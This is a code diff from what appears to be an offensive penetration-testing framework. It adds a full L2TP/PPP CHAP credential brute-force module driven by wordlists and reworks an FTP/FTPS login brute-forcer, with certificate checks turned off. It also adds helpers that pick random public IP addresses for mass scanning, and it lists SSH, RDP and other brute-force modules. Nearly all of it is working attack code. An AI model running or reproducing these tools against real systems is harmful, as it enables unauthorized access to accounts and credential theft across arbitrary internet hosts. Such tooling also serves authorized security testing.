||||
}
|
||||
@@ -451,81 +575,35 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::ConnectionFailed => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
|
||||
}
|
||||
return Err(anyhow!("FTP connection failed: {}", msg));
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
// Connection level error
|
||||
return Err(e.into());
|
||||
}
|
||||
Err(_) => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
return Err(anyhow!("FTP connection timeout"));
|
||||
return Err(anyhow!("Timeout"));
|
||||
}
|
||||
}
|
||||
|
||||
// FTPS fallback: connect and upgrade to TLS
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
// FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?)
|
||||
// For now, reuse it as it makes the check robust.
|
||||
|
||||
// FTPS attempts ... (simulated reuse of original logic below)
|
||||
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Err(anyhow!("FTPS Connect failed")),
|
||||
};
|
||||
|
||||
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
|
||||
.await
|
||||
.map_err(|_| {
|
||||
if verbose {
|
||||
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
anyhow!("FTPS connection timeout")
|
||||
})?
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
// Build a connector that accepts invalid certs/hostnames (as original code did)
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
|
||||
|
||||
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
|
||||
};
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
@@ -533,16 +611,50 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
match FtpErrorType::classify_error(&e.to_string()) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
_ => Err(anyhow!("FTPS Error: {}", e)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if !excluded { return ip_addr; }
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
if !std::path::Path::new(STATE_FILE).exists() {
|
||||
return false;
|
||||
}
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.await;
|
||||
match status { Ok(s) => s.success(), Err(_) => false }
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await {
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,623 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
net::UdpSocket,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range,
|
||||
load_lines, normalize_target, get_filename_in_current_dir, prompt_port,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
// L2TP Message Types
|
||||
const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request
|
||||
const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply
|
||||
const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected
|
||||
const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request
|
||||
const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply
|
||||
const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected
|
||||
|
||||
// PPP Protocol IDs
|
||||
const PPP_CHAP: u16 = 0xC223;
|
||||
|
||||
// CHAP Codes
|
||||
const CHAP_CHALLENGE: u8 = 1;
|
||||
const CHAP_RESPONSE: u8 = 2;
|
||||
const CHAP_SUCCESS: u8 = 3;
|
||||
const CHAP_FAILURE: u8 = 4;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ L2TP/PPP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Native L2TP/CHAP Implementation ║".cyan());
|
||||
println!("{}", "║ Tests against L2TP servers using CHAP authentication ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// L2TP Session state
|
||||
struct L2tpSession {
|
||||
sock: UdpSocket,
|
||||
local_tunnel_id: u16,
|
||||
remote_tunnel_id: u16,
|
||||
local_session_id: u16,
|
||||
remote_session_id: u16,
|
||||
ns: u16, // Next sequence to send
|
||||
nr: u16, // Next sequence expected
|
||||
}
|
||||
|
||||
impl L2tpSession {
|
||||
fn new(sock: UdpSocket) -> Self {
|
||||
Self {
|
||||
sock,
|
||||
local_tunnel_id: rand::random::<u16>() | 1,
|
||||
remote_tunnel_id: 0,
|
||||
local_session_id: rand::random::<u16>() | 1,
|
||||
remote_session_id: 0,
|
||||
ns: 0,
|
||||
nr: 0,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build L2TP control message
|
||||
fn build_control(&mut self, avps: &[u8]) -> Vec<u8> {
|
||||
// Flags: T=1 (control), L=1 (length), S=1 (sequence)
|
||||
let flags: u16 = 0xC802;
|
||||
let length = 12 + avps.len() as u16;
|
||||
|
||||
let mut pkt = Vec::with_capacity(length as usize);
|
||||
pkt.extend_from_slice(&flags.to_be_bytes());
|
||||
pkt.extend_from_slice(&length.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
|
||||
pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control
|
||||
pkt.extend_from_slice(&self.ns.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.nr.to_be_bytes());
|
||||
pkt.extend_from_slice(avps);
|
||||
|
||||
self.ns = self.ns.wrapping_add(1);
|
||||
pkt
|
||||
}
|
||||
|
||||
/// Build L2TP data message
|
||||
fn build_data(&self, payload: &[u8]) -> Vec<u8> {
|
||||
let flags: u16 = 0x0002; // Data message
|
||||
|
||||
let mut pkt = Vec::with_capacity(6 + payload.len());
|
||||
pkt.extend_from_slice(&flags.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_session_id.to_be_bytes());
|
||||
pkt.extend_from_slice(payload);
|
||||
pkt
|
||||
}
|
||||
|
||||
/// Build AVP (Attribute-Value Pair)
|
||||
fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec<u8> {
|
||||
let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16);
|
||||
let mut avp = Vec::with_capacity(6 + value.len());
|
||||
avp.extend_from_slice(&flags.to_be_bytes());
|
||||
avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0
|
||||
avp.extend_from_slice(&attr_type.to_be_bytes());
|
||||
avp.extend_from_slice(value);
|
||||
avp
|
||||
}
|
||||
|
||||
/// Send SCCRQ (Start-Control-Connection-Request)
|
||||
fn send_sccrq(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
// Message Type = SCCRQ
|
||||
avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true));
|
||||
// Protocol Version = 1.0
|
||||
avps.extend(Self::build_avp(2, &[0x01, 0x00], true));
|
||||
// Host Name
|
||||
avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true));
|
||||
// Assigned Tunnel ID
|
||||
avps.extend(Self::build_avp(9, &self.local_tunnel_id.to_be_bytes(), true));
|
||||
// Receive Window Size
|
||||
avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true));
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send SCCCN (Start-Control-Connection-Connected)
|
||||
fn send_scccn(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true));
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send ICRQ (Incoming-Call-Request)
|
||||
fn send_icrq(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(14, &self.local_session_id.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(15, &rand::random::<u32>().to_be_bytes(), true)); // Call Serial Number
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send ICCN (Incoming-Call-Connected)
|
||||
fn send_iccn(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed
|
||||
avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send CHAP Response
|
||||
fn send_chap_response(&self, identifier: u8, challenge: &[u8], username: &str, password: &str) -> Result<()> {
|
||||
// Compute CHAP hash: MD5(identifier + password + challenge)
|
||||
let mut data = Vec::with_capacity(1 + password.len() + challenge.len());
|
||||
data.push(identifier);
|
||||
data.extend_from_slice(password.as_bytes());
|
||||
data.extend_from_slice(challenge);
|
||||
let hash = md5::compute(&data);
|
||||
|
||||
// Build CHAP Response packet
|
||||
let name_bytes = username.as_bytes();
|
||||
let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16;
|
||||
|
||||
let mut chap = Vec::new();
|
||||
chap.push(CHAP_RESPONSE);
|
||||
chap.push(identifier);
|
||||
chap.extend_from_slice(&length.to_be_bytes());
|
||||
chap.push(16); // Value size (MD5 = 16 bytes)
|
||||
chap.extend_from_slice(&hash.0);
|
||||
chap.extend_from_slice(name_bytes);
|
||||
|
||||
// Wrap in PPP frame
|
||||
let mut ppp = Vec::new();
|
||||
ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control
|
||||
ppp.extend_from_slice(&PPP_CHAP.to_be_bytes());
|
||||
ppp.extend_from_slice(&chap);
|
||||
|
||||
let pkt = self.build_data(&ppp);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Receive and parse L2TP packet
|
||||
fn recv_packet(&self, timeout: Duration) -> Result<L2tpPacket> {
|
||||
self.sock.set_read_timeout(Some(timeout))?;
|
||||
|
||||
let mut buf = [0u8; 4096];
|
||||
let n = self.sock.recv(&mut buf)?;
|
||||
|
||||
if n < 6 {
|
||||
return Err(anyhow!("Packet too short"));
|
||||
}
|
||||
|
||||
let flags = u16::from_be_bytes([buf[0], buf[1]]);
|
||||
let is_control = (flags & 0x8000) != 0;
|
||||
let has_length = (flags & 0x4000) != 0;
|
||||
let has_sequence = (flags & 0x0800) != 0;
|
||||
|
||||
let mut offset = 2;
|
||||
|
||||
if has_length {
|
||||
offset += 2;
|
||||
}
|
||||
|
||||
let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
|
||||
offset += 2;
|
||||
let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
|
||||
offset += 2;
|
||||
|
||||
if has_sequence {
|
||||
offset += 4; // Ns + Nr
|
||||
}
|
||||
|
||||
let payload = buf[offset..n].to_vec();
|
||||
|
||||
Ok(L2tpPacket {
|
||||
is_control,
|
||||
tunnel_id,
|
||||
session_id,
|
||||
payload,
|
||||
})
|
||||
}
|
||||
|
||||
/// Parse control message type from AVPs
|
||||
fn parse_message_type(payload: &[u8]) -> Option<u16> {
|
||||
let mut offset = 0;
|
||||
while offset + 6 <= payload.len() {
|
||||
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
|
||||
let avp_len = (avp_flags & 0x03FF) as usize;
|
||||
|
||||
if offset + avp_len > payload.len() {
|
||||
break;
|
||||
}
|
||||
|
||||
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
|
||||
let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
|
||||
|
||||
if vendor_id == 0 && attr_type == 0 && avp_len >= 8 {
|
||||
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
|
||||
}
|
||||
|
||||
offset += avp_len;
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Parse assigned tunnel/session ID from AVPs
|
||||
fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option<u16> {
|
||||
let mut offset = 0;
|
||||
while offset + 6 <= payload.len() {
|
||||
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
|
||||
let avp_len = (avp_flags & 0x03FF) as usize;
|
||||
|
||||
if offset + avp_len > payload.len() {
|
||||
break;
|
||||
}
|
||||
|
||||
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
|
||||
let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
|
||||
|
||||
if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 {
|
||||
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
|
||||
}
|
||||
|
||||
offset += avp_len;
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
struct L2tpPacket {
|
||||
is_control: bool,
|
||||
tunnel_id: u16,
|
||||
session_id: u16,
|
||||
payload: Vec<u8>,
|
||||
}
|
||||
|
||||
/// Main L2TP bruteforce entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let port: u16 = prompt_port("L2TP Port", 1701)?;
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 100)? as usize;
|
||||
let timeout_ms = prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000)? as u64;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "l2tp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let addr = format!("{}:{}", normalized, port);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let total_attempts = if combo_mode {
|
||||
users.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(users.len(), passwords.len())
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
|
||||
// Test connectivity first
|
||||
println!("\n[*] Testing L2TP server connectivity...");
|
||||
match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await {
|
||||
Ok(true) => println!("[+] L2TP server is responding"),
|
||||
Ok(false) => println!("{}", "[!] L2TP server not responding to control messages".yellow()),
|
||||
Err(e) => println!("{}", format!("[!] Connectivity test failed: {}", e).yellow()),
|
||||
}
|
||||
|
||||
println!("\n{}", "[Starting Attack]".bold().yellow());
|
||||
println!();
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let timeout_duration = Duration::from_millis(timeout_ms);
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate credential combinations
|
||||
let combos: Vec<(String, String)> = if combo_mode {
|
||||
users.iter()
|
||||
.flat_map(|u| passwords.iter().map(move |p| (u.clone(), p.clone())))
|
||||
.collect()
|
||||
} else {
|
||||
let max_len = std::cmp::max(users.len(), passwords.len());
|
||||
(0..max_len)
|
||||
.map(|i| (users[i % users.len()].clone(), passwords[i % passwords.len()].clone()))
|
||||
.collect()
|
||||
};
|
||||
|
||||
for (user, pass) in combos {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break,
|
||||
};
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let found_clone = found_credentials.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let stats_clone = stats.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_on_success && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user, &pass, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass.clone()));
|
||||
stats_clone.record_success();
|
||||
if stop_on_success {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] {}: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
// Drain completed tasks periodically
|
||||
while tasks.len() >= concurrency * 2 {
|
||||
if let Some(_) = tasks.next().await {}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Test L2TP server connectivity
|
||||
async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result<bool> {
|
||||
let result = tokio::task::spawn_blocking({
|
||||
let addr = addr.to_string();
|
||||
move || -> Result<bool> {
|
||||
let sock = UdpSocket::bind("0.0.0.0:0")?;
|
||||
sock.connect(&addr)?;
|
||||
sock.set_read_timeout(Some(timeout))?;
|
||||
sock.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut session = L2tpSession::new(sock);
|
||||
session.send_sccrq()?;
|
||||
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if pkt.is_control {
|
||||
if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) {
|
||||
return Ok(msg_type == L2TP_SCCRP);
|
||||
}
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
}).await?;
|
||||
result
|
||||
}
|
||||
|
||||
/// Attempt L2TP login with credentials
|
||||
async fn try_l2tp_login(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
|
||||
let addr = addr.to_string();
|
||||
let username = username.to_string();
|
||||
let password = password.to_string();
|
||||
|
||||
tokio::task::spawn_blocking(move || {
|
||||
try_l2tp_login_sync(&addr, &username, &password, timeout)
|
||||
}).await?
|
||||
}
|
||||
|
||||
/// Synchronous L2TP login attempt
|
||||
fn try_l2tp_login_sync(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
|
||||
let sock = UdpSocket::bind("0.0.0.0:0")?;
|
||||
sock.connect(addr)?;
|
||||
sock.set_read_timeout(Some(timeout))?;
|
||||
sock.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut session = L2tpSession::new(sock);
|
||||
|
||||
// Step 1: Send SCCRQ
|
||||
session.send_sccrq()?;
|
||||
|
||||
// Step 2: Receive SCCRP
|
||||
let pkt = session.recv_packet(timeout)?;
|
||||
if !pkt.is_control {
|
||||
return Err(anyhow!("Expected control message, got data"));
|
||||
}
|
||||
|
||||
match L2tpSession::parse_message_type(&pkt.payload) {
|
||||
Some(L2TP_SCCRP) => {
|
||||
if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) {
|
||||
session.remote_tunnel_id = tid;
|
||||
}
|
||||
session.nr += 1;
|
||||
}
|
||||
Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)),
|
||||
None => return Err(anyhow!("No message type in response")),
|
||||
}
|
||||
|
||||
// Step 3: Send SCCCN
|
||||
session.send_scccn()?;
|
||||
|
||||
// Step 4: Send ICRQ
|
||||
session.send_icrq()?;
|
||||
|
||||
// Step 5: Receive ICRP
|
||||
let pkt = session.recv_packet(timeout)?;
|
||||
if pkt.is_control {
|
||||
if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) {
|
||||
if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) {
|
||||
session.remote_session_id = sid;
|
||||
}
|
||||
session.nr += 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Step 6: Send ICCN
|
||||
session.send_iccn()?;
|
||||
|
||||
// Step 7: Wait for CHAP Challenge
|
||||
let mut challenge_data: Option<(u8, Vec<u8>)> = None;
|
||||
|
||||
for _ in 0..5 {
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if !pkt.is_control && pkt.payload.len() > 6 {
|
||||
// Check for PPP CHAP
|
||||
let mut offset = 0;
|
||||
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
|
||||
offset = 2;
|
||||
}
|
||||
|
||||
if pkt.payload.len() > offset + 4 {
|
||||
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
|
||||
if protocol == PPP_CHAP {
|
||||
let chap_code = pkt.payload[offset + 2];
|
||||
if chap_code == CHAP_CHALLENGE {
|
||||
let identifier = pkt.payload[offset + 3];
|
||||
let value_size = pkt.payload[offset + 6] as usize;
|
||||
if pkt.payload.len() >= offset + 7 + value_size {
|
||||
let challenge = pkt.payload[offset + 7..offset + 7 + value_size].to_vec();
|
||||
challenge_data = Some((identifier, challenge));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
let (identifier, challenge) = challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?;
|
||||
|
||||
// Step 8: Send CHAP Response
|
||||
session.send_chap_response(identifier, &challenge, username, password)?;
|
||||
|
||||
// Step 9: Wait for CHAP Success/Failure
|
||||
for _ in 0..5 {
|
||||
match session.recv_packet(timeout) {
|
||||
Ok(pkt) => {
|
||||
if !pkt.is_control && pkt.payload.len() > 4 {
|
||||
let mut offset = 0;
|
||||
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
|
||||
offset = 2;
|
||||
}
|
||||
|
||||
if pkt.payload.len() > offset + 2 {
|
||||
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
|
||||
if protocol == PPP_CHAP {
|
||||
let chap_code = pkt.payload[offset + 2];
|
||||
match chap_code {
|
||||
CHAP_SUCCESS => return Ok(true),
|
||||
CHAP_FAILURE => return Ok(false),
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No CHAP response received"))
|
||||
}
|
||||
@@ -7,7 +7,7 @@
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod ssh_spray;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rtsp_bruteforce;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
@@ -0,0 +1,563 @@
|
||||
//! MQTT Brute Force Module
|
||||
//!
|
||||
